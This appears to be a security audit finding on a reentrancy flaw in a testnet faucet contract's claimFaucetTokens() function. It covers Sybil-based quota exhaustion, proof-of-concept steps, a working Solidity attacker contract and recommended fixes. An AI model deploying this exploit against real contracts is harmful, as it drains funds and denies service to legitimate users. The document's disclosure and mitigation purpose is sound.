Root + Impact

Description

• claimFaucetTokens() grants faucetDrip tokens per successful call; on the caller’s first successful call it also sends sepEthAmountToDrip ETH. Each success increments dailyClaimCount (capped by dailyClaimLimit = 100).

• Due to a reentrancy on the ETH call, an attacker can receive ETH once and tokens twice from the same account. By deploying 50 Sybil accounts that each call twice, the attacker can exhaust the daily limit with only 50 accounts while extracting more ETH and tokens than entitled. If automated to run immediately after the daily counter reset (e.g., via Chainlink Automation), this exploit can reliably consume the daily quota each day and deny service to legitimate users.

Risk

Likelihood:

• Once an attacker has enough ETH to fund the initial exploit, subsequent attacks can be self‑sustaining: the ETH collected during each successful attack can finance the next one, enabling a recurring, automated exploitation without additional capital outlay.

  
  

Impact:

• An attacker can extract significantly more ETH (up to 24×) and a correspondingly larger amount of tokens than entitled over the three‑day claim window. In practice, the attacker would consolidate this by executing 50 claims in a single attack.

• If the exploit is automated to run each day and triggers immediately after the 24‑hour counter resets, the attacker will consume the daily call quota at once, effectively denying service to legitimate users by rendering the faucet unusable.

Proof of Concept

1) preparation: owner burn 1 token and mint a lot of token to avoid revert due to insufficient balance

2) Setting gasPrice: gasPriceSettingInGwei is set to 8 cause is the maximum gas price that allows to complete the attack being profitable. (it will be discussed deeply later).

3) Start the attack: Deploy attacker contract and start the attack.

4) Declare final balances and check assertions: once the attack is done, Verify the following, in order:

1. The attacker's token balance after the exploit equals their initial token balance plus the maximum number of claims allowed in a single day).

2. The attacker's ETH balance after the exploit equals their initial ETH balance plus sepEthAmountToDrip * 50 (50 representing half the daily maximum number of calls). This reflects that, when exploiting reentrancy from the same account, the attacker is eligible to collect ETH on the first invocation but not on the reentrant second invocation.

3. The daily claim counter (dailyClaimCount) has reached dailyClaimLimit, thereby preventing any further successful claims for that day.

4. As a final proof, have both user1 and user2 call claimFaucetTokens(), which should revert with the custom error RaiseBoxFaucet__DailyClaimLimitReached, preventing the claim.

1. Gas and profitability report: The gas price used by the test is configurable at line 11 to the value 8 , chosen because it represents the highest gas price (in gwei) at which the attack remains profitable in our scenario.

Attacker Contract

This contract was developed with the following considerations:

• The target contract lacks reentrancy protection, making it vulnerable to reentrancy attacks.

• The claimFaucetTokens() function performs an external call that transfers ETH, allowing an attacker to trigger their contract’s receive function during the call.

• ETH can be claimed only once per account because the hasClaimedEth mapping is updated before the external call.

• Consequently, a reentrancy exploit from the same account provides only a single opportunity to capture ETH.

• The same account cannot perform more than two invocations (including reentrant calls), since token transfers and state updates occur on the second call, preventing further claims.

The attack involves two contracts: Main (factory) contract and contracts for single attack

• Main (factory) contract: calculates the number of attacker contracts required to exhaust the faucet (dailyClaimLimit - dailyClaimCount). It deploys all attacker contracts and calls attack() on each.

• The attacker contract for a single run calls claimFaucetTokens(), uses its receive fallback to perform a single reentrant invocation, and then forwards all collected tokens and ETH to the main (factory) contract.

  contract AttackerContract {

  IRaiseBoxFaucet immutable raiseBoxFaucet;

  address private immutable owner;

  constructor(address _raiseBoxFauecet) payable{

  raiseBoxFaucet = IRaiseBoxFaucet(_raiseBoxFauecet);

  owner = msg.sender;

  }

  function attack() external{

  require(msg.sender == owner, "notMainContract");

  raiseBoxFaucet.claimFaucetTokens();

  (bool ethTransferSuccess,) = owner.call{value: address(this).balance}("");

  require(ethTransferSuccess, "eth transfer failed");

  (bool tokenTransferSuccess) = raiseBoxFaucet.transfer(owner, raiseBoxFaucet.balanceOf(address(this)));

  require(tokenTransferSuccess, "token transfer failed");

  }

  receive() external payable{

  raiseBoxFaucet.claimFaucetTokens();

  }

  }

Recommended Mitigation

• Inherit the OpenZeppelin ReentrancyGuard contract and add the nonReentrant modifier to the function.

• Refactor the function to follow the check-effects-interactions pattern.